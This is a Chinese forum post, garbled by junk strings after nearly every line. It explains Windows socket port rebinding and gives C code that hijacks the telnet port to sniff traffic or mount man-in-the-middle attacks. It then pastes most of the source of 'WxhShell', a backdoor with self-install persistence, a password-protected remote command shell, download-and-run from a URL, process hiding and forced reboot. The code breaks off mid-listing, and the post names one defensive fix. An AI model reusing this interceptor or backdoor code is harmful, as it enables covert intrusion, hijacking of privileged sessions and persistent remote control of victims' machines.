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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AU1P?lk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mY"DYYR>  
R<W#.mpo6  
  saddr.sin_family = AF_INET; .UNh\R?r  
( 8+_~_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f M 8kS  
6_/oVvd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x)<5f|j  
Bm%.f!`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YLk; ^?  
rXo2MX@u  
  这意味着什么?意味着可以进行如下的攻击: kfb+OE:7  
 iqf+rBL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i gzISYC_  
Wo5G23:xz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'R6D+Vk/  
]7kq@o/7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~D@pk>I  
E&0A W{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :6LOb f\01  
6$wS7Cu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;@K,>$ur-  
><iEVrpN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {(G@YG?  
G\h8j*o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ d<|Cde  
Vja' :i  
  #include #V-qS/ q"  
  #include RLY Ae  
  #include 7-Rn{"5  
  #include    P,AS`=z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C|"T!1MlY4  
  int main() Mr:*l`b_  
  { D+rDgrv  
  WORD wVersionRequested; (]j*)~=V  
  DWORD ret; M "p6xp/  
  WSADATA wsaData; #l~ d  
  BOOL val; 0<{/T*AU:  
  SOCKADDR_IN saddr; M4M 4*o  
  SOCKADDR_IN scaddr; S$%/9^\jF  
  int err; 'N='B<^;%  
  SOCKET s; 8s8q`_.)(  
  SOCKET sc; P;KbS~ SlC  
  int caddsize; a[s%2>e  
  HANDLE mt; ,Z_nV+l_  
  DWORD tid;   )Tngtt D  
  wVersionRequested = MAKEWORD( 2, 2 ); w;H  
  err = WSAStartup( wVersionRequested, &wsaData ); <t]c'  
  if ( err != 0 ) { KGi@H%NN  
  printf("error!WSAStartup failed!\n"); 9b]*R.x:$&  
  return -1; (#c5Q&  
  } HAo8]?J  
  saddr.sin_family = AF_INET; ^1,]?F^  
   *sJx0<!M}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xx;'WL,g  
!::k\}DS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a}E8A DyC  
  saddr.sin_port = htons(23); j K[VEhs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rA*,)I_v@  
  { pI(FUoP^  
  printf("error!socket failed!\n"); }J`{g/  
  return -1; q(.%f3(  
  } ]CC~Eo-%-  
  val = TRUE; 3{MIBMA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O-T/H-J`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QH\*l~;B\  
  { 'Iyk`=R  
  printf("error!setsockopt failed!\n"); fY%Sw7ql<  
  return -1; fil6w</L  
  } )CR8-z1`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CQ,r*VAw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k})9(Sy~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y_$^Po  
;k/0N~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m(OBk;S~   
  { bMSF-lQ  
  ret=GetLastError(); 4QI vxH  
  printf("error!bind failed!\n"); ;prp6(c  
  return -1; 38'H-]8q"  
  } +Z;0"'K'e  
  listen(s,2); e:7aVOm  
  while(1) _cGiuxf #  
  { Jb tbW &EH  
  caddsize = sizeof(scaddr); \17)=W  
  //接受连接请求 $^ >n@Q@&L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^Ws~h\{%  
  if(sc!=INVALID_SOCKET) |g;XC^!%=o  
  { .FMF0r>l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &H+<uYV  
  if(mt==NULL) A1'IK.  
  { hR`dRbBi%  
  printf("Thread Creat Failed!\n"); lJYv2EZ  
  break; ,~4(td+R7  
  } *v5y]E%aW  
  } w^p2XlQ<  
  CloseHandle(mt); A|a\pL`@  
  } Bkz   
  closesocket(s); bg=`   
  WSACleanup(); 4PF4#  
  return 0; ix/uV)]k`  
  }   GYs4#40  
  DWORD WINAPI ClientThread(LPVOID lpParam) >C&!# 3  
  { ;;`KkNys m  
  SOCKET ss = (SOCKET)lpParam; 'V>+G>U  
  SOCKET sc; d8r+UP@#  
  unsigned char buf[4096]; Anm5Cvt;i  
  SOCKADDR_IN saddr; 6/n;u{|  
  long num; ){(cRB$  
  DWORD val; %FRkvqV*  
  DWORD ret; ?nn,RBS-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SwL\=nq+~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #nxx\,i>  
  saddr.sin_family = AF_INET; i@;a%$5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nbRg<@  
  saddr.sin_port = htons(23); ZEMo`O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x$p\ocA  
  { ynd}w G'  
  printf("error!socket failed!\n"); XDWERv Ij  
  return -1; |UaI i^  
  } Af%?WZlOq  
  val = 100; ?=G H{ %E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m6 gr!aT  
  { p?h;Sv/  
  ret = GetLastError(); OH(+]%B78  
  return -1; E}GSii%S  
  } &ar}6eO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RAxz+1JT  
  { (l,o UBRr  
  ret = GetLastError(); 1W8W/Y=hT  
  return -1; i_@RWka<  
  } |)_R bqZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GwycSb1  
  { R}VL UL$  
  printf("error!socket connect failed!\n"); tvUvd(8 w  
  closesocket(sc); mc=*wr$  
  closesocket(ss); #+G2ZJxL|  
  return -1; ww2Qa-K  
  } )X/Faje  
  while(1) 2I<T<hFW]  
  { g}-Z]2(c#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -T8 gV1*(<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l1[IXw?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @FV;5M:I  
  num = recv(ss,buf,4096,0); x(`$D  
  if(num>0) "=(;l3-o  
  send(sc,buf,num,0); h~@+M5r,  
  else if(num==0)  R'/wOE2  
  break; Wd AGZUp  
  num = recv(sc,buf,4096,0); g@k9w{_  
  if(num>0) bAiw]xi  
  send(ss,buf,num,0); qrc/Q;$  
  else if(num==0) ~'MWtDe:Z8  
  break; v~Qy{dn P  
  } nS4S[|w"  
  closesocket(ss); G,-OH-M!  
  closesocket(sc); +a-@ !J~:  
  return 0 ; t] wM_]+  
  } O:)IRB3  
zIFL?8!H9{  
H\mVK!](D  
========================================================== ;l()3;  
ai4^NJn  
下边附上一个代码,,WXhSHELL RHVv}N0  
S(i(1Hs.  
========================================================== ?8@*q6~8  
j*4S]!  
#include "stdafx.h" QtQ^"d65  
(dF;Gcw+  
#include <stdio.h> %}X MhWn{  
#include <string.h> o$VH,2 QF  
#include <windows.h> r5!M;hU1j  
#include <winsock2.h> QV$dKjMS  
#include <winsvc.h> 2TEeP7  
#include <urlmon.h> p,\bez  
]a#]3(o]}  
#pragma comment (lib, "Ws2_32.lib") ~#_$?_/(  
#pragma comment (lib, "urlmon.lib") ddDJXk)!0  
-_DiD^UcXn  
#define MAX_USER   100 // 最大客户端连接数 )]> '7] i  
#define BUF_SOCK   200 // sock buffer Q 02??W  
#define KEY_BUFF   255 // 输入 buffer &W+G{W{3  
xKST-:c+  
#define REBOOT     0   // 重启 zl 0^EltiU  
#define SHUTDOWN   1   // 关机 KH>sCEt  
!9LAXM  
#define DEF_PORT   5000 // 监听端口 YCBML!L  
b[o"Uq@8?  
#define REG_LEN     16   // 注册表键长度 _8pkejg  
#define SVC_LEN     80   // NT服务名长度 `Mn{bd  
zRoEx1  
// 从dll定义API Rn(F#tI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a 8hv.43  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _AHB|P I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T>Rf?%o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #u5;utY:F  
>\x_"oR  
// wxhshell配置信息 D3AtYt  
struct WSCFG { VE"0 VB.  
  int ws_port;         // 监听端口 I cA\3j  
  char ws_passstr[REG_LEN]; // 口令 2j/1@Z1j=  
  int ws_autoins;       // 安装标记, 1=yes 0=no f.84=epv  
  char ws_regname[REG_LEN]; // 注册表键名 P}WhE  
  char ws_svcname[REG_LEN]; // 服务名 hOLy*%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (VI* c!N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aco}pXz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [xs)u3b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JvWs/AG1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "ko?att~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aU]O$Pg{  
2:HP5   
}; (T#(A4:6S  
ny_ kr`$42  
// default Wxhshell configuration 9s6>9hMb)  
struct WSCFG wscfg={DEF_PORT, ];{l$-$$  
    "xuhuanlingzhe", CbH T #  
    1, # pjyhH@  
    "Wxhshell", "K$Wh1<7  
    "Wxhshell", D7_Hu'y<o  
            "WxhShell Service", JXRf4QmG  
    "Wrsky Windows CmdShell Service", MHr0CYyb.  
    "Please Input Your Password: ", 6[3Ioh  
  1, 7~l  
  "http://www.wrsky.com/wxhshell.exe", #9hXZr/8  
  "Wxhshell.exe" $7gB&T.x  
    }; >gZk 581/  
oB{}-[G  
// 消息定义模块 Aiks>Cyi23  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *CPB5s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZaUcP6[h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Th;gps%b  
char *msg_ws_ext="\n\rExit."; &b@!DAwAJ  
char *msg_ws_end="\n\rQuit."; 8T.5Mhx0jS  
char *msg_ws_boot="\n\rReboot..."; x+*L5$;h  
char *msg_ws_poff="\n\rShutdown..."; &DbGyV8d"|  
char *msg_ws_down="\n\rSave to "; [>M*_1F  
$G-N0LV  
char *msg_ws_err="\n\rErr!"; r@ T-Hi  
char *msg_ws_ok="\n\rOK!"; ^;CR0.4  
K7[AiU_I  
char ExeFile[MAX_PATH]; ;*g*DIR  
int nUser = 0; =S[FJaIu7  
HANDLE handles[MAX_USER]; {7Gx9(  
int OsIsNt; 8F`BJ6='  
]g8i>,G  
SERVICE_STATUS       serviceStatus; ll<9f)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _L:i=.hxN  
\Sq"3_m4T  
// 函数声明 JW%/^'  
int Install(void); ` r'0"V  
int Uninstall(void); HV$9b~(  
int DownloadFile(char *sURL, SOCKET wsh); =_?pOq  
int Boot(int flag); FUzMc1zy|  
void HideProc(void); 7i+!^Qj?y  
int GetOsVer(void); B::4Qme  
int Wxhshell(SOCKET wsl); =mi:<q  
void TalkWithClient(void *cs); G1?0Q_RN  
int CmdShell(SOCKET sock); 94p:|5@  
int StartFromService(void); =;k+g?.@I  
int StartWxhshell(LPSTR lpCmdLine);  [`hE^chd  
6m-:F.k1(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i!1ho T$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dK J@{d  
{XDY:`vZ}  
// 数据结构和表定义 T]Tdx.B  
SERVICE_TABLE_ENTRY DispatchTable[] = zldfRo\wl  
{ .0Iun+nUD  
{wscfg.ws_svcname, NTServiceMain}, R%Ui6dCLo  
{NULL, NULL} Hyq@O 8  
}; n2xLgK=  
?u_gXz;A  
// 自我安装 B.}_],  
int Install(void) Sc4obcw%  
{ cQ3W;F8|n  
  char svExeFile[MAX_PATH]; L(WL,xnBy  
  HKEY key; S' (cqO}=F  
  strcpy(svExeFile,ExeFile); @pF fpHq?>  
z.2r@Psk  
// 如果是win9x系统,修改注册表设为自启动 *PSvHXNi  
if(!OsIsNt) { kCaO\#ta  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V>b2b5QAH,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T~i%j@Q.6  
  RegCloseKey(key); ]>R`;"(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]6$,IKE7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |^7f\.oF  
  RegCloseKey(key); F_A%8)N  
  return 0;  G"o!}  
    } z-EwXE  
  } 0>,.c2),  
} FAQr~G}  
else { [[R7~.;  
KQG-2oW  
// 如果是NT以上系统,安装为系统服务 ,?l~rc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~Cjz29|gp  
if (schSCManager!=0) r4O|()  
{ 21r= = H$  
  SC_HANDLE schService = CreateService ShQ|{P9  
  ( ?b||Cr  
  schSCManager, *IC^IC:  
  wscfg.ws_svcname, sX+`wc  
  wscfg.ws_svcdisp, n[!;yO  
  SERVICE_ALL_ACCESS, q[7CPE0n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <f N; xIB  
  SERVICE_AUTO_START, Q,{^S,s<   
  SERVICE_ERROR_NORMAL, =M7TCE  
  svExeFile, "`pNH'   
  NULL, qAoAUD m  
  NULL, l , ..5   
  NULL, 8z Y)J#  
  NULL, 93j{.0]X  
  NULL ?hnx/z+uT  
  ); o]Gguw5W{  
  if (schService!=0) \V,c]I   
  { j&5G\6:  
  CloseServiceHandle(schService); Fh K&@@_  
  CloseServiceHandle(schSCManager); / s,tY74'5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  EIr@g  
  strcat(svExeFile,wscfg.ws_svcname); o\Uu?.-<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hou*lCA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @}Zd (o  
  RegCloseKey(key); lwc5S `"  
  return 0; owvS/"@  
    } kY"KD22a  
  } l<(cd,  
  CloseServiceHandle(schSCManager); hoenQ6N^:  
} `H>b5  
} ,MQVE  
j(iuz^I  
return 1; 4:7mK/Z  
} ?7 \\e;j}  
y` yZ R _  
// 自我卸载  4*TmlY  
int Uninstall(void) b O=yi)  
{ dH\XO-Z7v  
  HKEY key; 24u x  
.Pe9_ZH$W  
if(!OsIsNt) { ySe$4deJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i0:>Nk  
  RegDeleteValue(key,wscfg.ws_regname); [84F0 9HU  
  RegCloseKey(key); wG 1l+^p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WkP +r9rT  
  RegDeleteValue(key,wscfg.ws_regname); o%`Xa#*Ly  
  RegCloseKey(key); =wG+Ao  
  return 0; Ya#h'+}  
  } <@G8ni  
} oFDz;6  
} hIYTe  
else { e)H!uR  
\, &9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oH#v6{y  
if (schSCManager!=0) rY0u|8.5Q  
{ ;apzAF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OtTBErQNF  
  if (schService!=0) J~#$J&iKh  
  { ;`dh fcU  
  if(DeleteService(schService)!=0) { QAPu<rdJP  
  CloseServiceHandle(schService); w%y\dIeI'  
  CloseServiceHandle(schSCManager); y "w|g~x]c  
  return 0; 9Q;c ,]  
  } 9H0H u]zM  
  CloseServiceHandle(schService); Zg~nlO2  
  } S'LZk9E  
  CloseServiceHandle(schSCManager); UPiW73Nu  
} jS.g]k  
} l?8M p$M  
T?Fcohz(  
return 1; $((6=39s  
} tK(g-u0N`(  
(X[CsaXt  
// 从指定url下载文件 uI~S=;o  
int DownloadFile(char *sURL, SOCKET wsh) 7nU6k%_%  
{ d XHB#  
  HRESULT hr; +rXF{@ l  
char seps[]= "/"; .@q-B+Eg  
char *token; +pm[f["C.  
char *file; @|}BXQNd  
char myURL[MAX_PATH]; ~PWSo%W8  
char myFILE[MAX_PATH]; 4mjgt<`  
3REx45M2  
strcpy(myURL,sURL); %+>s#Q2d  
  token=strtok(myURL,seps); i':i_kU  
  while(token!=NULL) iIT8H\e  
  { a]Eg!Q  
    file=token; H5CR'Rp  
  token=strtok(NULL,seps); `:m!~  
  } 3.d"rl  
=J-5.0Q\_\  
GetCurrentDirectory(MAX_PATH,myFILE); 2T@GA 1G  
strcat(myFILE, "\\"); GQQ.OvEc  
strcat(myFILE, file); 7?8wyk|x  
  send(wsh,myFILE,strlen(myFILE),0); .nu @ o40  
send(wsh,"...",3,0); .d;Iht,[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B vo5-P6XY  
  if(hr==S_OK) Rlnbdb;!k  
return 0; 0P^L}VVX  
else p(;U@3G  
return 1; =gfI!w  
v2r&('pV  
} 7(M(7}EKA  
&AVpLf:?  
// 系统电源模块 A[IL H_w  
int Boot(int flag) XC 7?VE  
{ p.}Ls)I  
  HANDLE hToken; ^-mRP\5  
  TOKEN_PRIVILEGES tkp; ^;,M}|<h  
iv`O /T  
  if(OsIsNt) { Djk C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :j|IP)-f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |@,|F:h<M  
    tkp.PrivilegeCount = 1; UYk>'\%H0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ol"3a|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4'$g(+z  
if(flag==REBOOT) { g  %K>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,B4VT 96*  
  return 0; x!\ONF5$  
} \s3]_1F;t  
else { +^*iZ6{+7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DeR='7n  
  return 0; ]E  =Iu  
} K{n{KB&_&  
  } +("7ZK?  
  else { zR!o{8  
if(flag==REBOOT) { s yU9O&<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UAR5^  
  return 0; =%'`YbD$  
} 1n%?@+W  
else { sr@j$G#uW5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2[0JO.K 4  
  return 0; I^o!n5VM  
} Ai D[SR  
} -{^}"N  
>]o}}KF?  
return 1; zP6.xp3  
} cYXM__  
Sa19q.~%  
// win9x进程隐藏模块 Ra*e5  
void HideProc(void) Y>jiXl?&  
{ 5*[2yKsTi  
WyP W*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -,K!  
  if ( hKernel != NULL ) '!f5?O+E  
  { p4VeRJk%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '+j} >Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v]B L[/4  
    FreeLibrary(hKernel); ;[RZ0Uy=  
  } 1s1=rZ!  
v&Kqq!DE  
return; LJoGpr 8  
} Y.^=]-n,  
A.UUW  
// 获取操作系统版本 U-n;xX0=  
int GetOsVer(void) 2w)-\/j}  
{ tH'2gl   
  OSVERSIONINFO winfo; 0a"igq9t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t43)F9!  
  GetVersionEx(&winfo); u{["50~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1>L(ul(qGF  
  return 1; Nan[<  
  else \c^45<G2qA  
  return 0; %v2R.?F8  
} +**!@uY  
1 hg}(Hix  
// 客户端句柄模块 | >z3E z  
int Wxhshell(SOCKET wsl) u+{a8=  
{ 3P;>XGCxZ  
  SOCKET wsh; ^_lzZOhG  
  struct sockaddr_in client; r1fGJv1!o  
  DWORD myID; -\#0]F:-  
"Ky; a?Y  
  while(nUser<MAX_USER) 1{P'7IEj  
{ ? R>h `  
  int nSize=sizeof(client); .CFa9"<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y3O#Q)-j$  
  if(wsh==INVALID_SOCKET) return 1; J:skJ.Wx  
%Z*sU/^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6d+p7x  
if(handles[nUser]==0) #h/Mbj~S  
  closesocket(wsh); IIyI=Wl pG  
else B2ec@]uD`  
  nUser++; ]n-:Yv5 W  
  } _SA5e3#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E }ZJ)V7  
cYqfsd# B  
  return 0; `Qqk<o  
} @]ao"ui@/  
f^VP/rdg  
// 关闭 socket ]Zmj4vK J  
void CloseIt(SOCKET wsh) `:axzCrCfR  
{ /B}lO0]:  
closesocket(wsh); MR}Agu#LG  
nUser--; t#2(j1  
ExitThread(0); jRL<JZ1N  
} 2,*M|+W~  
4rrSb*  
// 客户端请求句柄 __.+s32SS$  
void TalkWithClient(void *cs) 8(* [Fe9  
{ v,ju!I0.  
.?l\g-;=  
  SOCKET wsh=(SOCKET)cs; 4R\ Hpt  
  char pwd[SVC_LEN]; ]KmO$4  
  char cmd[KEY_BUFF]; ,N0#!<}4  
char chr[1]; +>PX&F  
int i,j; Dtj&W<NXo  
8-O)Xx}cU  
  while (nUser < MAX_USER) { [Vma^B$7Vj  
%V nbmoO  
if(wscfg.ws_passstr) { G["c\Xux  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5;HH4?]p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q|),`.eh\  
  //ZeroMemory(pwd,KEY_BUFF); O6OP =K!t:  
      i=0; 6AhM=C  
  while(i<SVC_LEN) { [W7CXZDd  
\o^2y.q:>  
  // 设置超时 qo|WXwP2  
  fd_set FdRead; T~='5iy|  
  struct timeval TimeOut; *I0T{~  
  FD_ZERO(&FdRead); p}~qf  
  FD_SET(wsh,&FdRead); ruy}/7uf  
  TimeOut.tv_sec=8; Pjc Tx +  
  TimeOut.tv_usec=0; [)TRTxFb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SBS3?hw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pS7w' H  
- RU=z!{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7yh /BZ1  
  pwd=chr[0]; tw9f%p  
  if(chr[0]==0xd || chr[0]==0xa) { NN?`"Fww  
  pwd=0; Sb82}$sO  
  break; Kuu *&u  
  } (R("H/6xs  
  i++; w {3<{  
    } V]db'qB\  
|mw.qI|  
  // 如果是非法用户,关闭 socket Zo~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Nz2z[W$  
} q}?4f *WC  
#*UN >X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @W"KVPd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O*FUTZd(J  
Vo'T!e- B  
while(1) { wLnf@&jQ%  
$arK(  
  ZeroMemory(cmd,KEY_BUFF); 9j6QX ~,  
1^}[&ar  
      // 自动支持客户端 telnet标准   85Otss/mM  
  j=0; o9dY9o+Z  
  while(j<KEY_BUFF) { \6Zr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wMg0>  
  cmd[j]=chr[0]; =E#%'/ A;c  
  if(chr[0]==0xa || chr[0]==0xd) { 3!|;iJRH  
  cmd[j]=0; ^Xq 6:  
  break; hRD=Y<>A  
  } [R^i F  
  j++; ^<a t'jk6  
    } @a0DT=>dT  
3@$,s~+ 3  
  // 下载文件 .ufTQ?Fe  
  if(strstr(cmd,"http://")) { -7@/[9Gf`:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gsq00j &<Z  
  if(DownloadFile(cmd,wsh)) 'R'*kxf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B][U4WJ)  
  else eoG$.M"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "AsKlKz{B  
  } _ 4U5  
  else { CFMo)"  
%4,O 2\0?&  
    switch(cmd[0]) { jZ~n[ f+Q  
  koZ*+VP=  
  // 帮助 CR"|^{G  
  case '?': { NflD/q/ L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r")`Ph@yp  
    break; xSsa(b  
  } gM u"2I5  
  // 安装 %7IugHH9y  
  case 'i': { ^6MU 0Q2  
    if(Install()) p6#g;$V$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4U+xb>  
    else i@)i$i4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jET{Le8i  
    break; P2BWuh F  
    } @"Fme-~  
  // 卸载 ODNM+#}`  
  case 'r': { F4}]b(L  
    if(Uninstall()) Ui_8)z _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8dZSi  
    else Y)0*b5?1r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1PVtxL?1P  
    break; =9O^p@Q#W  
    } dx5#\"KX=,  
  // 显示 wxhshell 所在路径 |[<_GQl  
  case 'p': { GK )?YM  
    char svExeFile[MAX_PATH]; "}u.v?HYz  
    strcpy(svExeFile,"\n\r"); 8=B|C'>  
      strcat(svExeFile,ExeFile); ;4R$g5-4X  
        send(wsh,svExeFile,strlen(svExeFile),0); ov ` h  
    break; Z0x ar]4V  
    } =9y[1t  
  // 重启 [')m|u~FS4  
  case 'b': { TyD4|| %  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gPNZF\ r  
    if(Boot(REBOOT)) &gVN&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rdl;M>0@  
    else { <k eVrCR  
    closesocket(wsh); YSr9VpqWV  
    ExitThread(0); FcR=v0),  
    } |%F=po>w  
    break; 8p^bD}lN7  
    } \rx3aJl  
  // 关机 ocqU=^ta  
  case 'd': { Fsmycr!R  
